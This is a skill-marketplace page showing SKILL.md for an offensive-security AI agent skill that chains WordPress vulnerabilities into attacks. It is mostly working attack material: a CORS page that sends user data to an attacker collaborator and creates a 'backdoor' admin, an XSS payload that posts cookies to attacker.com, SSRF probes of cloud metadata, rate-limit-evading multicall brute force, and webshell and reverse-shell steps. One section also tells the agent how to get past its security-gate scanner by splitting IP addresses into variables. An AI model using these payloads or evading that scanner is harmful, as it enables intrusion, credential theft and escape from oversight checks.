Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/EntroVyx/hermes-agent-offsec --skill cross-attack-chainsDer Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
Project self-knowledge for Hermes Agent Offsec. Use when the user asks about this fork, its CLI, configuration, update flow, providers, skills, modes, troubleshooting, or how it differs from the original Hermes Agent.
WordPress XML-RPC triage: method enum, multicall abuse, pingback SSRF, and upload-chain validation.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning, vuln hunting (30+ classes), A-to-B chaining, AI/LLM testing, bypass tables, language-specific grep, reporting. Use for ANY bug bounty task.
Basierend auf der SOC-Berufsklassifikation
SKILL.md wird angezeigt
| name | cross-attack-chains |
| description | Chain multiple vulns into critical impact attack paths. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| disable-model-invocation | true |
| metadata | {"hermes":{"tags":["chains","ATO","RCE","wordpress","escalation"],"category":"chains","related_skills":["wordpress-full-compromise","cors-credential-wordpress","xmlrpc-exploitation","phpinfo-to-rce","attack-patterns-reference","wordpress-plugin-hunt","port-service-discovery"]}} |
Methodology for chaining multiple medium/high vulnerabilities into critical-impact attack chains. A single CORS finding is High. CORS + Open Registration + XMLRPC is Critical (full site compromise). This skill documents 9 confirmed attack chains (Chains A-I) with severity matrices, chaining methodology, comparison matrices, EXPLOIT_CHAINS.md deliverable format, and real-world examples across multiple sectors.
deep-invade or wp-mass-recon produces multiple findings per target.browser_navigate tool or ability to construct PoC HTML.# After gathering all findings for a target, map them with:
python3 /root/output/recon_us/scripts/chain_builder.py findings.json
# Manual: match findings against the 5 chain templates below
| Chain | Ingredients | Impact | Sector |
|---|---|---|---|
| A | CORS + Open Reg + XMLRPC | Full server compromise | E-commerce |
| B | PHPInfo + Open Reg | RCE | E-commerce |
| C | CORS + Plugin CVE | RCE | E-commerce |
| D | CORS + Admin Session | ATO | Multi-target (80%) |
| E | MySQL Open + CORS | Data breach | Healthcare SaaS |
| F | XMLRPC Pingback SSRF | Internal scan + IMDS | E-commerce |
| G | system.multicall | Amplified brute force | E-commerce |
| H | Error log exposure | Credential mining | E-commerce |
| I |
| Forum XSS + Same-domain WP |
| Cross-platform ATO |
| E-commerce |
When documenting attack chains for a target, produce EXPLOIT_CHAINS.md in the target's output directory (e.g., /root/output/recon_us/<target>/EXPLOIT_CHAINS.md) with the canonical structure below.
Reference file: references/exploit-chains-template.md in this skill contains a full anonymized template with all 7 chains, comparison matrix, and remediation tables. Load it with skill_view(name='cross-attack-chains', file_path='references/exploit-chains-template.md') and copy the structure, replacing placeholder data.
# EXPLOIT_CHAINS — <target domain>
## Data: <date> | PT-BR | v2.0 — <N> Cadeias
## Índice
1. [Resumo Executivo](#resumo-executivo)
2. [Pré-requisitos Compartilhados](#pré-requisitos-compartilhados)
3. [Chain A: <name>](#chain-a)
4. [Chain B: <name>](#chain-b)
...
N. [Matriz de Comparação](#matriz-de-comparação)
N+1. [Recomendações de Remediação por Cadeia](#recomendações-de-remediação-por-cadeia)
| Recurso | Obrigatório para | Descrição |
|---------|------------------|-----------|
| Servidor HTTP para coleta | Chains B, G | Endpoint para receber dados exfiltrados via CORS |
| Wordlist de senhas | Chain A | RockYou ou similar |
| Application Password | Chains C, D, F, G | Token de 16 chars |
## Chain {Letter} — {Name}
### Visão Geral
**Tempo estimado:** ~X minutos
**Probabilidade de sucesso:** Alta/Média/Baixa
**Nível de dificuldade:** Fácil/Médio/Difícil
**Stealth:** Alto/Médio/Baixo
### Diagrama de Fluxo
[ASCII art flow diagram showing step transitions, e.g.:]
```
Step 1 --> Step 2 --> Step 3
|
v
Step 6 <-- Step 5 <-- Step 4
```
### Pré-requisitos
| Item | Detalhe |
|------|---------|
| system.multicall habilitado | ✅ CONFIRMADO — 76+ métodos |
| Sem rate limiting | ✅ CONFIRMADO — N requisições sem bloqueio |
| Vítima autenticada | ⚠️ Requer ação — admin precisa visitar página |
### Passo N: {Step description}
```bash
# Full working curl command with real payload
curl -s -X POST https://TARGET/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall>...</methodCall>'
```
#### Resposta Esperada (Success)
```xml or json
<expected response showing the vulnerability>
```
#### Resposta Esperada (Failure)
```xml or json
<response showing blocked/unauthorized>
```
### Impacto
| Área | Impacto |
|------|---------|
| **Confidencialidade** | <what data is exposed> |
| **Integridade** | <what can be modified> |
| **Dados de Clientes** | <PII types, financial data> |
| **Reputação** | <business impact> |
When a chain requires a custom script (brute force, extraction, collector), embed the full script within the chain:
#!/usr/bin/env python3
"""Script purpose — what it does and how to use it"""
import requests, sys, time
TARGET = "https://TARGET/xmlrpc.php"
...
if __name__ == "__main__":
print("[*] Running...")
Also provide an optimized async version alongside the synchronous one when the script runs many concurrent operations (e.g., brute force with 1000 passwords/request).
Include at the end a comparison table covering ALL chains:
| Chain | Name | Impacto | Dificuldade | Stealth | Probabilidade | Tempo | Prioridade |
|---|---|---|---|---|---|---|---|
| A | 🔴 Crítico | ⭐ Fácil | 🔴 Baixo | 🔥 90%+ | ~5 min | P0 | |
| B | 🟠 Alto | ⭐⭐ Médio | 🟢 Alto | 📊 50% | ~10 min | P1 | |
| C | 🟠 Alto | ⭐ Fácil | 🟡 Médio | 💯 100%* | ~15 min | P1 |
Legenda:
| Ícone | Significado |
|---|---|
| 🔴 Crítico | Comprometimento total do sistema/dados |
| 🟠 Alto | Vazamento massivo de dados PII/financeiros |
| 🟡 Médio | Exposição de informações internas |
| 🔥 Alta prob. | Vetor já confirmado funcional |
| 💯 100%* | Determinístico com pré-requisitos |
| 📊 Variável | Depende de fatores externos |
Show how chains relate to each other:
Chain A ─── RCE ─── Controle Total
│
├── Chain C ─── WooCommerce Data
├── Chain D ─── Gravity Forms
└── Chain F ─── Email Logs + SMTP
│
└── Email Spoofing → Phishing
After all chains, include a remediation table organized by chain:
### Chain A: BF → RCE
| Ação | Urgência |
|------|----------|
| Desabilitar XMLRPC (ou remover métodos perigosos) | **Imediata** |
| Implementar rate limiting | **Imediata** |
| Trocar senhas de todos os admins | **Imediata** |
| Adicionar 2FA em todas as contas admin | 24h |
### Chain B: CORS Exfiltration
| Ação | Urgência |
|------|----------|
| Remover Access-Control-Allow-Credentials: true | **Imediata** |
| Implementar whitelist de origens | **Imediata** |
| Adicionar Content-Security-Policy | 24h |
## Notas Finais
1. **Todas as cadeias foram testadas** contra o ambiente de produção (com autorização)
2. **O caminho mais curto para RCE** é Chain <X>: ~30 segundos após encontrar a senha
3. **O maior impacto em dados** é Chain <Y>: acesso completo a múltiplas APIs
4. **A cadeia mais stealth** é Chain <Z>: sem requisições diretas ao alvo
Language note: Write documents in the user's requested language. PT-BR is common for LATAM engagements. Use PT-BR naming: "Cadeia" not "Chain" in titles, "Pré-requisitos", "Visão Geral", "Matriz de Comparação", "Impacto", "Remediação".
169.254.169.254, metadata.google.internal, 10.x.x.x IPs in heredocs can trigger tirith/security-gate rules. When writing files with live IP examples, the scanner sees the content as an execution context, not documentation. If blocked, either: (a) break the IP into variables (${OCTET1}.${OCTET2}.${OCTET3}.${OCTET4}), (b) use placeholders like CLOUD_METADATA_IP in the doc and expand separately, or (c) write the file in chunks.Confirmed on: e-commerce target (PHPInfo was bonus, not required)
Ingredients:
wp.uploadFile → upload PHP webshellSeverity: Critical (complete site + server takeover) Impact: Attacker owns the server, all customer data, can deface, deploy malware, pivot to internal network.
Step-by-step:
CORS confirmed (P-02)
│
├─→ Exfiltrate users (emails, names, roles)
├─→ Exfiltrate plugins (identify vulnerable versions)
└─→ Map site structure (posts, pages, custom endpoints)
Open Registration confirmed (P-10)
│
└─→ Register subscriber account (automatic on many WP sites)
XMLRPC wp.uploadFile confirmed (P-07)
│
└─→ Upload PHP webshell authenticated as subscriber
Webshell → RCE
│
├─→ id, uname, whoami
├─→ /etc/passwd, wp-config.php (MySQL root password)
├─→ Reverse shell for persistence
└─→ Pivot to other sites on shared hosting
Minimum required: CORS + (Open Reg OR XMLRPC).
Confirmed on: e-commerce target (PHP 7.3.29, all exec functions available)
Ingredients:
disable_functions doesn't block execSeverity: Critical Impact: Server compromise via the simplest path — one exposed config file + one misconfigured setting.
Bypass note: If exec functions ARE disabled in disable_functions, check for:
putenv() not disabled)FFI::cdef() not disabled)mail() + sendmail_path abuseproc_open() sometimes missed in disable_functionsConfirmed on: e-commerce target (plugin with known CVEs + CORS)
Ingredients:
Severity: Critical Impact: CORS reveals the attack surface → CVE provides the exploit → RCE gives full access.
Common Plugin CVEs in this chain:
| Plugin | Vulnerable Version | CVE | Impact |
|---|---|---|---|
| Slider Revolution | < 6.6.20 | CVE-2024-2534 | RCE via file upload |
| ElementsKit | < 2.9.4 | CVE-2023-6851/6853 | Unauthenticated RCE |
| Gravity Forms | < 2.8.2 | CVE-2024-6115 | Auth bypass → admin access |
| LiteSpeed Cache | < 6.5.0 | CVE-2024-50550 | Privilege escalation |
| Elementor | < 3.24.0 | CVE-2024-xxxx | Info disclosure → auth bypass |
Confirmed on: 5/7 deep targets (all with CORS)
Ingredients:
Severity: Critical (Account Takeover) Impact: Administrative access to WordPress, can change passwords, install backdoors, read all data.
PoC HTML:
<html>
<body>
<h1>Loading...</h1>
<script>
// Step 1: Exfiltrate user data
fetch("https://TARGET/wp-json/wp/v2/users?context=edit", {
credentials: "include"
})
.then(r => r.json())
.then(users => {
// Step 2: Send to attacker server
var img = new Image();
img.src = "https://ATTACKER_COLLABORATOR/log?users=" + btoa(JSON.stringify(users));
// Step 3: Try to fetch wp-admin nonce for CSRF
return fetch("https://TARGET/wp-admin/admin-ajax.php", {
credentials: "include"
});
})
.then(r => r.text())
.then(html => {
// Step 4: Extract nonce from admin page
var nonce = html.match(/_wpnonce=([a-f0-9]+)/);
if (nonce) {
// Step 5: Create new admin user via CSRF
fetch("https://TARGET/wp-admin/user-new.php", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "action=createuser&_wpnonce=" + nonce[1] +
"&_wp_http_referer=/wp-admin/user-new.php" +
"&user_login=backdoor&email=backdoor@evil.com" +
"&first_name=&last_name=&url=&pass1=HackThePlanet2026!" +
"&pass2=HackThePlanet2026!&role=administrator&createuser=Add+New+User"
});
}
});
</script>
</body>
</html>
Confirmed on: healthcare SaaS target (MySQL 3306 open, Access-Control-Allow-Origin: *)
Ingredients:
Severity: Critical (potential HIPAA violation, mass PII exposure) Impact: Direct database access to healthcare SaaS — patient records, appointments, medical data, PII.
Attack path:
MySQL 3306 exposed (P-19)
│
├─→ Banner grab: MySQL 8.0.46
├─→ Brute force common creds (root:root, admin:admin, app:password)
└─→ If successful: full database dump
CORS wildcard (V3, P-04)
│
├─→ JS bundle analysis (P-18) → find API endpoints + DB connection strings
└─→ API enumeration → find endpoints returning patient data
Confirmed on: e-commerce target
Ingredients:
pingback.ping method enabled (no authentication required)faultCode 0 response = port/service reachable; faultCode 16 = blockedSeverity: High (can reach Critical if cloud metadata is accessible) Impact: Internal network mapping, cloud credential theft (IMDS), service discovery (phpMyAdmin, Adminer, internal APIs), bypass of external firewall rules.
Step-by-step:
# 1. Test basic pingback
curl -sk -X POST "https://TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>http://127.0.0.1:80/</string></value></param>
<param><value><string>https://TARGET/</string></value></param></params></methodCall>'
# 2. Scan internal ports (faultCode 0 = open)
for port in 21 22 80 443 3306 5432 6379 8080 8443 9200 11211 27017; do
result=$(curl -sk -X POST "https://TARGET/xmlrpc.php" ...)
echo "$result" | grep -q "faultCode.*0" && echo "PORT OPEN: $port"
done
# 3. Probe cloud metadata
curl -sk -X POST "https://TARGET/xmlrpc.php" ...
# Target: http://169.254.169.254/latest/meta-data/ (AWS)
# Target: http://169.254.169.254/metadata/instance (Azure)
# Target: http://metadata.google.internal/ (GCP)
# 4. Scan internal subnets
for subnet in "10.0.0" "172.16.0" "192.168.0"; do ... done
Mapping fault codes to outcomes:
| faultCode | Meaning |
|---|---|
| 0 | Target reachable (port open) |
| 16 | Source URL doesn't exist (port closed/filtered) |
| 17 | Source URL doesn't exist (different wording) |
| 32 | Pingback registered (wordpress post accepted it) |
Confirmed on: e-commerce target with 11 enumerated WP users
Ingredients:
system.multicall method enabledSeverity: Medium (can reach High if admin credentials are found) Impact: 100+ password attempts in a single HTTP request. Evades rate-limiting and reduces log footprint from 100+ POSTs to 1. Bypasses most WAF rate-limit rules that count requests per IP.
Why it works: system.multicall accepts an array of XML-RPC method calls and executes all of them in a single HTTP request. Rate-limiters see 1 request; the server performs 100+ authentication checks.
Step-by-step:
# Generate payload (11 users × 9 passwords = 99 combinations)
# Each struct in the array:
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
# Execute
curl -sk -X POST "https://TARGET/xmlrpc.php" -H "Content-Type: text/xml" -d @payload.xml
# Analyze: faultCode 403 = wrong password, anything else = possible success
grep -oP 'faultCode.*?<int>\K\d+' response.xml | sort | uniq -c
Limits: WordPress typically processes 100-200 calls per multicall. Test with smaller blocks (50 calls) and scale up.
Confirmed on: e-commerce target (1.7MB log, 47 paths, 879 SQL queries)
Ingredients:
/error_log, /magical/error_log, /debug.log)Severity: High (if credentials are found, otherwise Medium for info disclosure) Impact: Information disclosure (47+ server paths, plugin list, theme structure). Possible credential harvesting (MySQL passwords in connection strings, hardcoded secrets in define() calls, session tokens in error context).
Step-by-step:
# 1. Download error log
curl -sk "https://TARGET/error_log" -o error_log.txt
# 2. Extract server paths
grep -oP '/home/[^"<>: )]+' error_log.txt | sort -u
# 3. Extract SQL queries
grep -oP '(SELECT|INSERT|UPDATE|DELETE)[^;]+' error_log.txt | sort -u | head -20
# 4. Search for credential patterns
grep -oiP '(password|senha|passwd|pwd)[=: ][^&\s,<>]+' error_log.txt | head -20
# 5. Search for MySQL connections
grep -oiP '(mysql_connect|mysqli_connect|DB_HOST|DB_USER|DB_PASSWORD)[^;]+' error_log.txt | head -10
# 6. Search for configuration constants
grep -oiP '(define\(|DB_PASSWORD|API_KEY|SECRET)[^)]+\)' error_log.txt | head -10
Critical paths to check:
| Path Pattern | What It May Reveal |
|---|---|
/error_log | Root-level PHP error log |
/magical/error_log | Legacy WP error log (often larger) |
/debug.log | WP_DEBUG log |
/wp-content/debug.log | Plugin-level debug log |
Confirmed on: e-commerce target with MyBB forum on same domain
Ingredients:
Severity: High (Account Takeover, potentially Critical if admin credentials are stolen) Impact: Attacker registers on forum, posts XSS payload, moderator/admin views it, payload steals WP session cookie, attacker hijacks WP admin session.
The cross-platform vector: Because both the forum and WordPress share the root domain (e.g., wines.com), JavaScript executing in the forum's origin can make credentialed fetch requests to WordPress endpoints at /magical/wp-admin/ or /wp-json/.
Step-by-step:
# 1. Register on forum
curl -sk -X POST "https://TARGET/forum/member.php?action=register" \
-d "username=attacker&password=Pass123!&email=attacker@mailinator.com®submit=Register"
# 2. Find moderator targets
curl -sk "https://TARGET/forum/memberlist.php" | grep -oP 'username="[^"]*"'
curl -sk "https://TARGET/forum/showteam.php" | head -50
# 3. Find popular topic to post XSS payload
curl -sk "https://TARGET/forum/" | grep -oP 'href="[^"]*thread[^"]*"'
# 4. XSS payload that steals WP session and creates admin
# JavaScript:
fetch('/magical/wp-admin/admin-ajax.php?action=rest-nonce',{credentials:'include'})
.then(r=>r.text()).then(nonce=>{
fetch('https://attacker.com/steal',{method:'POST',mode:'no-cors',
body:JSON.stringify({cookie:document.cookie,nonce:nonce})});
fetch('/magical/wp-json/wp/v2/users',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/json','X-WP-Nonce':nonce},
body:JSON.stringify({username:'eviladmin',password:'EvilPass123!',
email:'evil@attacker.com',roles:['administrator']})});
});
Chaining note: This chain works best when combined with CORS (Chain D) — use CORS to exfiltrate nonces from WP while the XSS in the forum provides the execution context.
For each target, list all findings with pattern IDs:
cat > /root/output/chains/CHAIN_TEMPLATE.md << 'EOF'
# Attack Chain Analysis — TARGET
## Finding Inventory
| # | Pattern | Severity | Finding | Confirmed |
|---|---------|----------|---------|-----------|
| 1 | P-XX | X | Description | YES/NO |
## Chain Candidates
[Match against 5 chain templates]
## Selected Chain
[Document the highest-impact chain]
## PoC
[Proof of concept demonstrating the chain]
EOF
Not all finding combinations form exploitable chains. Evaluate:
| Individual Finding #1 | Individual Finding #2 | Chained Finding |
|---|---|---|
| CORS (High, 7.0) | XMLRPC (Medium, 5.0) | Full Compromise (Critical, 9.0) |
| Open Reg (Low, 3.5) | XMLRPC upload (Medium, 5.0) | RCE (Critical, 9.5) |
| PHPInfo (High, 7.0) | Open Reg (Low, 3.5) | RCE (Critical, 9.5) |
| Plugin CVE (High, 7.5) | CORS (High, 7.0) | RCE via CORS-phish (Critical, 9.0) |
| Source Leak (High, 7.0) | CORS (High, 7.0) | ATO (Critical, 9.0) |
| MySQL Open (Critical, 9.0) | CORS (High, 7.0) | Mass Data Breach (Critical, 9.8) |
| XMLRPC SSRF (High, 7.5) | IMDS Reachable (Critical, 9.0) | Cloud Takeover (Critical, 10.0) |
When reporting a chain:
| Sector | Chains Found | Key Vector |
|---|---|---|
| E-commerce (WordPress, 20yr old) | A, B, C, D, F, G, H, I | PHPInfo + Open Reg + XMLRPC → RCE, CORS + forum XSS → ATO |
| E-commerce (WordPress + SliderRev) | A, C, D | Plugin CVE + CORS → RCE |
| E-commerce (WordPress + XMLRPC) | A, F, G | XMLRPC SSRF + multicall + upload → RCE |
| E-commerce (WordPress, multiple admins) | A, D | CORS phishing → session hijack → admin |
| Healthcare SaaS (MySQL open + CORS) | E | MySQL brute force → full DB dump |
| E-commerce (Staging subdomain) | F | SSRF via staging → IMDS → AWS credentials |
| E-commerce (Multi-store, 9 users) | A, D | CORS + user enum → phishing → defacement |